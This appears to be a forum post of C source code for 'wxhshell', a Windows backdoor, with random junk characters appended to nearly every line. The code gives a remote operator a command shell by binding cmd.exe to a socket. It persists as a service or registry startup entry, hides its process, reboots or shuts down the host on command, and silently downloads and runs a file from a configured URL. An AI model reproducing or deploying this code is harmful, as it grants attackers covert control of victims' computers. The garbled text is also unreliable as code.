&l}^iP'%!  
    switch(cmd[0]) { aC]$k'71  
  /2&c$9=1  
  // 帮助 LQ@"Xe]5  
  case '?': { ;YaQB#GK%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6fkRrD  
    break; \[;0 KV_  
  } 5?f ^Rz  
  // 安装 Akq2 d;  
  case 'i': { fBU`k_  
    if(Install()) 6_(&6]}66  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-oMQGOklb  
    else { a =#B)6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]vAz  
    break; t*p71U4+I  
    } tR# OjkvX  
  // 卸载 '+@=ILj>  
  case 'r': { &T#;-`'  
    if(Uninstall()) +Q/R{#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2?3wrP3  
    else ))qy;Q,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x`mG<Yt  
    break; oh4E7yN  
    } vx{}}/B]J  
  // 显示 wxhshell 所在路径 })'B<vq  
  case 'p': { ,V7nzhA2  
    char svExeFile[MAX_PATH]; 0 j^Kgx  
    strcpy(svExeFile,"\n\r"); B`EJb71^Xy  
      strcat(svExeFile,ExeFile); Lc}LGq!  
        send(wsh,svExeFile,strlen(svExeFile),0); T6'^EZZY  
    break; N:^n('U&j  
    } kXViWOXU^  
  // 重启 EfqX y>W  
  case 'b': { v_yw@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t$`r4Lb9/  
    if(Boot(REBOOT)) &j;wCvE4+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ez7A4>/  
    else { Mc)}\{J  
    closesocket(wsh); aEB_#1  
    ExitThread(0); <;lkUU(WT2  
    } [|v][Hwv  
    break; &1Ok`_plO  
    } )j6~Wy@4  
  // 关机 ]>!K3kB  
  case 'd': { }H53~@WP>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oe^I  
    if(Boot(SHUTDOWN)) %mW{n8W3{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59LG{R2  
    else { Usvl}{L[  
    closesocket(wsh); d z|or9&  
    ExitThread(0); 28-RC>,@}  
    } {$oj.V 4  
    break; &0d# Y]D4`  
    } b 1c y$I  
  // 获取shell e+EQ]<M  
  case 's': {  8$=n j  
    CmdShell(wsh); ?d*z8w  
    closesocket(wsh); @@f"%2ZR[  
    ExitThread(0); GC-5X`Sq  
    break; .e#w)K  
  } x[p|G5  
  // 退出 KR} ?H#%  
  case 'x': { 9+|$$)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KM, \  
    CloseIt(wsh); Cp\6W[2+B  
    break; poE0{HOU  
    } ~g91Pr   
  // 离开 #<fRE"v:Q  
  case 'q': { /PVk{3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i$Ul(?  
    closesocket(wsh); cZ,b?I"Q%  
    WSACleanup(); wLIMv3;k  
    exit(1); soxc0OlN  
    break; yxPazz  
        } 2Ah#<k-gC;  
  } {p2!|A&a  
  } +|3@=.V  
}dX*[I   
  // 提示信息 AI2)g1m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <sbu;dQ`  
} )$2QZ qX  
  } HZE#Ab*L  
hPkp;a #  
  return; =IZT(8  
} '@v\{ l  
L(6d&t'|-R  
// shell模块句柄 %uDi#x.  
int CmdShell(SOCKET sock) gT. sj d  
{ C[cbbp  
STARTUPINFO si; >>r(/81S  
ZeroMemory(&si,sizeof(si)); yX>K/68  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , >a&"V^k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WCZjXDiwJ  
PROCESS_INFORMATION ProcessInfo; :U|1xgB  
char cmdline[]="cmd"; )rU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kt#fMd$  
  return 0; u[;\y|75  
} NWESP U):w  
xK[ou'  
// 自身启动模式 Oi.C(@^(  
int StartFromService(void) tAd%#:K  
{ ,L2ZinU:  
typedef struct l\H=m3Bg  
{ d0!5j  
  DWORD ExitStatus; 5Pc;5 o0C  
  DWORD PebBaseAddress; 8Al{+gx@?  
  DWORD AffinityMask; v4TQX<0s  
  DWORD BasePriority; ktXM|#  
  ULONG UniqueProcessId; :LQYo'@yB  
  ULONG InheritedFromUniqueProcessId; ,Fl)^Gl8?  
}   PROCESS_BASIC_INFORMATION; 4i;{!sT  
1ba~SHi  
PROCNTQSIP NtQueryInformationProcess; 5DU6rks%  
=j_4S<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %A/0 '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9.M4o[  
n+9=1Oo"  
  HANDLE             hProcess; *8A  
  PROCESS_BASIC_INFORMATION pbi; h+H%?:FX  
/U*C\ xMm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J1U/.`Oy  
  if(NULL == hInst ) return 0; !?jrf] A@  
M] %?>G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p<FzJ   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HyQJXw?A:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O/(`S<iip  
}"H,h)T  
  if (!NtQueryInformationProcess) return 0; R%WCH?B<}  
yxQ1`'[CR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); net@j#}j-  
  if(!hProcess) return 0; &m7]v,&  
a5^] 20Fa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8 FK/~,I  
P`+{@@  
  CloseHandle(hProcess); H2 {+)  
u~:y\/Y6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x_}:D *aI  
if(hProcess==NULL) return 0; Mj3A5;#  
+)om^e@.  
HMODULE hMod;  qA7>vi%  
char procName[255]; ;8&3 dm]  
unsigned long cbNeeded; NiEUW.0  
RLXL&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,-LwtePJ0  
NA`SyKtg_  
  CloseHandle(hProcess); Q8tL[>Xt  
UgSB>V<?  
if(strstr(procName,"services")) return 1; // 以服务启动 O6 3<AY@  
2wg5#i  
  return 0; // 注册表启动 558V_y:  
} 8'[7 )I=  
~W'{p  
// 主模块 9L?.m&  
int StartWxhshell(LPSTR lpCmdLine) 8 >EWKI9  
{ d"mkL-  
  SOCKET wsl; =o(5_S.u;  
BOOL val=TRUE; `AtBtjs RV  
  int port=0; IMFDM."s  
  struct sockaddr_in door; t|\%VC  
I*{ nP)^9  
  if(wscfg.ws_autoins) Install(); T*Exs|N2P-  
LmrfN?5  
port=atoi(lpCmdLine); myQagqRx  
~H_/zK6e  
if(port<=0) port=wscfg.ws_port; nNV'O(x}  
=:Fc;n>c<K  
  WSADATA data; Fnv;^}\z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %N6A+5H  
~ 'cmSiz-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xh,qNnGGi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^zmG0EH,  
  door.sin_family = AF_INET; , kGc]{'W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `2WFk8) F  
  door.sin_port = htons(port); "Yv_B3p   
.V/Rfq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <?6|.\&  
closesocket(wsl); #U4F0BdA  
return 1; Gr'  CtO  
} bHYy}weZ  
34O `@j0-3  
  if(listen(wsl,2) == INVALID_SOCKET) { nwe* BVp  
closesocket(wsl); 85$m[+md  
return 1; dr}`H,X"3  
} x,+{9  
  Wxhshell(wsl); |bHelD|  
  WSACleanup(); .t-4o<7 3  
TDKki(o=~  
return 0; BLdvyVFx  
$y&E(J  
} BwGfTua  
Id'-&tYG  
// 以NT服务方式启动 =l;ewlU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) faX#**r  
{ X1|njJGO1  
DWORD   status = 0; Jb@V}Ul$  
  DWORD   specificError = 0xfffffff; Lc,Pom  
~9]hV7y5C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qh3YJ=X&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ||= )d&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rig,mv  
  serviceStatus.dwWin32ExitCode     = 0; o Q2Fjj  
  serviceStatus.dwServiceSpecificExitCode = 0; ?0?#U0(;u  
  serviceStatus.dwCheckPoint       = 0; Q7\w+ANf0  
  serviceStatus.dwWaitHint       = 0; [< ?s?Ci  
;>yxNGV`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &*,#5.  
  if (hServiceStatusHandle==0) return;  .-c4wm}  
=E4LRKn  
status = GetLastError(); kQSy+q  
  if (status!=NO_ERROR) /QWvW=F2<  
{ ay ;S4c/_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u@UMP@"#  
    serviceStatus.dwCheckPoint       = 0; =,=A,kI[;  
    serviceStatus.dwWaitHint       = 0; VcO0sa f`  
    serviceStatus.dwWin32ExitCode     = status; 61>.vT8P  
    serviceStatus.dwServiceSpecificExitCode = specificError; )e+>w=t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^z IW+:  
    return; oXh#a8  
  } C.yQ=\U2  
HGs $*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2B[X,rL.pX  
  serviceStatus.dwCheckPoint       = 0; 6+|do+0Icg  
  serviceStatus.dwWaitHint       = 0; ColV8oVnU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TH&U j1  
} _Xc8Yg }`  
+>{2*\cZ5}  
// 处理NT服务事件,比如:启动、停止 1>_8d"<Gd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2d #1=+V  
{ KNvZm;Q6  
switch(fdwControl) gnOt+W8  
{ ^A$Zw+P  
case SERVICE_CONTROL_STOP: O7m(o:t x3  
  serviceStatus.dwWin32ExitCode = 0; mb TEp*H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lv;^My  
  serviceStatus.dwCheckPoint   = 0; %KhI>O<  
  serviceStatus.dwWaitHint     = 0; 36Zf^cFJ  
  { iDp)FQ$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D9=KXo^  
  } JN-y)L/>  
  return; H9`)BbR  
case SERVICE_CONTROL_PAUSE: %K lrSo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x.!V^HQSN  
  break; ZF9z~9  
case SERVICE_CONTROL_CONTINUE: ]?kZni8j_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2\MT;;ZTZ  
  break; {j?FNOJn  
case SERVICE_CONTROL_INTERROGATE: xQ-<WF1i  
  break; B$fPgW-  
}; $aDVG})  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yy^q2P  
} '4+ ur`  
{9&;Q|D z  
// 标准应用程序主函数 6 l|DU7i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9k '7832u  
{ 30#s aGV  
/tx]5`#@7]  
// 获取操作系统版本 ;~ )5s'  
OsIsNt=GetOsVer(); y| i,|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? r "{}%  
|^"1{7)  
  // 从命令行安装 )Xz,j9GzJS  
  if(strpbrk(lpCmdLine,"iI")) Install(); JxdDC^> 0  
eCU:Q  
  // 下载执行文件 "Y =;.:qe  
if(wscfg.ws_downexe) { _ @NL;w:!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BDW^7[n  
  WinExec(wscfg.ws_filenam,SW_HIDE); X8a/ `Y,  
} s^G.]%iU  
A@!qv#'  
if(!OsIsNt) { r[`9uVT/  
// 如果时win9x,隐藏进程并且设置为注册表启动 -8ywO"6  
HideProc(); w7.V6S$Ga  
StartWxhshell(lpCmdLine); HSE!x_$  
} +ZaSM~   
else EPI4!3]  
  if(StartFromService()) #C74z$  
  // 以服务方式启动 T= y}y  
  StartServiceCtrlDispatcher(DispatchTable); ,GbR!j@6  
else i/;\7n  
  // 普通方式启动 Q0`wt.}V2  
  StartWxhshell(lpCmdLine); / |;RV"  
_lJ!R:*  
return 0; mW(W\'~_~  
}
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只看该作者 1 发表于: 2006-10-10
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